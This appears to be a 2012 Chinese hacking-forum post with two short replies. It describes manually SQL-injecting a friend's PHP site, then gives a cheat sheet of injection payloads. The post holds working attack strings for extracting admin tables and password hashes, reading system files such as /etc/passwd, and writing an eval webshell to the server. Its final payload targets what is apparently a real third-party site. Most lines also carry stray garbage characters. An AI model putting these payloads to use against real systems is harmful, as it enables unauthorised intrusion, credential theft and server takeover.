找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3151|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~8 J2 n5 p- h+ m" e2 ~2 J
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?! e( o( l% m1 l) O! M
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
& E+ o& Z( Q: X% a如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
$ C( c' ]% _/ a1 }9 p, _/ Q2 @1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
, _8 A2 h; l% A1 w% {% z2 z4 W这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:& B) K7 M8 S2 p7 }# p( |
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
( y0 x# T* A9 d+ B9 s/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
( v, R2 m# _( r" T; U                        
4 u3 l: C" d$ K2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,( C# O4 ]! y2 t: }/ L
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意2 G! m7 p' t0 R
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息4 i7 Q) p) M; N: U
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。( U1 J2 h9 r* Z# l; b9 z
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,5 A! V2 c+ k7 ?/ c( J# N$ g
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
/ R. c4 `7 w/ H, n" k; @" d" Q" a我就用的是第二个思路,- r% a: u; M- P- q! |3 m- B
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  & q6 G1 E; h- L4 I+ y, n
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
2 C* _3 `0 U! ?  e1 U% K提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--* K9 {* I7 O3 D, n; P1 W6 `
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
, W% h  j; Q$ S6 o' ?7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????+ R  Z. z- D% ]  F9 v2 G$ \
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....$ z3 ?! G8 F/ P& Z/ r9 ~
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
+ }! O6 d: ^! G9 A$ J然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
3 K$ O  g1 M6 c% r调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
5 `& `4 h" }- l) u/ Q下面是一些很普遍注入方式资料:
4 A6 }. m/ E, O1 _$ n; t注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='8 G0 t9 b5 Q: f) n' v7 N* L: ~
拆半法
0 j* N* X1 r+ k$ h9 ~( X######################################) m) i8 B  s9 E. U# E( v: ?( K
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。; y5 I- T& E1 w
and exists (select * from admin)
# z9 R, m4 Y9 jand exists(select id from admin)- F, i/ n2 z- Y& k+ V3 ^' @
and exists(select id from admin where id=1)0 D+ e' |2 u) `4 z6 P% e4 y
and exists(select id from admin where id>1) ; {* I4 c; I. ]: U1 ~" s) e& I
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 ; r  K2 m" {! ~% t
and exists (select username from admin)
5 }4 i4 L  v$ }+ {- Z1 F) M) q8 K& N4 f( rand exists (select password from admin)
. k. J" k7 F9 U. _: H* j5 {* }and exists (select id from admin where len(username)<10 and id=1)
: [3 V, K4 G6 j# O9 m* e$ |" {and exists (select id from admin where len(username)>5 and id=1)) d9 e7 M% r% c" Y2 D, c
and exists (select id from admin where len(username)=6 and id=1)
$ U* B  b6 h( \+ j* [4 _9 w7 M8 Z! yand exists (select id from admin where len(password)<10 and id=1)8 F3 G5 L+ I# b1 s
and exists (select id from admin where len(password)>5 and id=1)& `4 ?/ j. l& h2 f4 D
and exists (select id from admin where len(password)=7 and id=1): i4 n4 ^) i# R" ~3 j  p$ E
and (select top 1 asc(mid(username,1,1)) from admin)=97. z8 i. W9 \2 {' d# c
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
# A7 X  m. E7 o猜第二位把username,1,1改成username,2,1就可以了。
2 i& h6 p: W0 ^4 O+ g  m* N3 u猜密码把username改成password就OK了
7 M; C) L* L8 O: c##################################################$ V5 s% B  z2 R1 o
搜索型注入. Z: E* |: I8 i1 p2 i9 o
##################################
0 G+ M% l3 \1 m! a8 z%' and 1=1 and '%'='
1 X* @; x2 c: P5 L+ [" H%' and exists (select * from admin) and '%'='
( O  [# Q5 C7 q% T, Q; `5 g0 C%' and exists(select id from admin where id=1) and '%'='
, O: \  o# H# B8 G%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
; W- n. Z% N* R: ^" [/ o) Q% p$ y%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
$ ]( i7 u- ^; V8 _8 o, W  a%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
! u( A5 k( w; K& Y3 U: t5 k5 C这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
  x! [$ P4 l) h0 o( C对于MSSQL数据库,后面可以吧 and '%'='换成--* v  Y. p% B: k# d% W
还有一点搜索型注入也可以使用union语句。2 o: M* {# A- T5 B
########################################################
4 c: d. Y. h- |, Q联合查询。
1 D( }* _+ @, L#####################################, A, W0 p) N( G' k: _' r
order by 10) J9 v  T2 V! Z
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
; k4 r1 F& k; O) D2 i% D! uand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
  a7 W' T. T2 ]and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1# A) M! ?( @' f" M( R- i/ a8 y; H
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)  @) j' b$ U' ^( V( G. ]4 s  k
###################################
/ v' B! J2 [; r5 Scookie注入
' ~% E! }& P$ t& {; o" i9 t###############################
$ T  R! C. b  x. T3 E. Whttp://www.******.com/shownews.asp?id=1279 y. I+ i- A. d  z! C% F% ?. @
http://www.******.com/shownews.asp
# N' l  q( `8 q. R9 Q3 talert(="id="+escape("127"));. D8 J3 `4 x$ J  u' r- O
alert(="id="+escape("127 and 1=1"));
$ e; K( y' ]& d; a4 G5 ralert(="id="+escape("127 order by 10"));
8 p  d2 P/ I# U8 N: z: O- W4 k1 G$ d$ galert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));2 U& k; C' c* Q( u3 h  x9 A  j. i; d
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));9 E, Z+ M/ ?. \7 f7 R% i1 Z
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。6 v2 _+ o4 W9 o; h6 b" Q; Q
###################################7 [; f; _  v# P3 B1 _8 }3 o# G
偏移注入) k; B* C- V% K; v
###########################################################
4 t( ~' ]0 S! J* c4 `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
0 g* ~5 j0 Z: y9 u% l6 U( H/ ?union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
5 |) k1 F5 ^& t7 J. junion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)" s. L' E$ z; b
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)  j: D1 z5 ]- X& [6 E, n2 g4 |, i
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)! k& J8 e4 h7 B( i( n. u1 W$ v9 ?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)+ K" K* Q+ C1 ]5 |& I
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
7 O1 D! D1 B& H5 C9 b2 j* x  va.id=d.id)
2 f" G$ l: ]  [( D. w( T% r: Uand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
7 S; t+ F0 G. v1 F) z' Uand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
7 ]' i4 O3 i1 Q6 j8 g$ x  
" w  O0 z5 S8 a5 P4 }============================================================================================================7 h4 z& e" M; V! I0 [( j( _/ J% g- B
1.判断版本
+ _4 z6 w2 U% k, T4 T3 a7 l6 _: cand ord(mid(version(),1,1))>51) H8 o- _4 L2 b! d9 [; e
返回正常,说明大于4.0版本,支持ounion查询
" X: F2 |& d1 \; b1 E2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解' z5 u$ Q4 E1 |" K7 j/ R' \
and 2=4 union select 1,2,3,4,5,6,7,8,9--* M4 \5 C; L, \8 R  _  z- F
3.查看数据库版本及当前用户,/ }! X1 ^1 c% w/ k: M& f4 s
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--- J0 |; D* b2 Q/ k; K
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
1 W% n8 o" \! k% P+ |: w; g4.判断有没有写权限( W! w* Z8 a: F, q% W% a9 c
and (select count(*) from MySQL.user)>0-- ) T3 u  O+ Y. H8 O9 T: X. \6 [
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,12 _; A& r9 o. l7 I
用不了这个命令,就学习土耳其黑客手法,如下
; n& ^3 T/ t& M! d5 ~# R  Vand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
0 A4 H+ `5 j/ f  s$ Y6.爆表,爆库
8 @! A% {. F. z2 Band+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
1 [- e) d$ x2 M7.爆列名,爆表' a$ Z! e" M+ `  E* ~8 N4 r
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
0 a7 {$ {# }" z8 f/ q& X% @6 P8.查询字段数,直接用limit N,1去查询,直接N到报错为止。, _4 s& X( R' G8 J% _5 H& l7 m  t
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--9 p' Y4 g5 X3 |& a* ]
9.爆字段内容
+ @; V9 y3 _2 t3 y! N$ Iand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--4 \8 O/ d( z* L( w; Y' S+ N
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表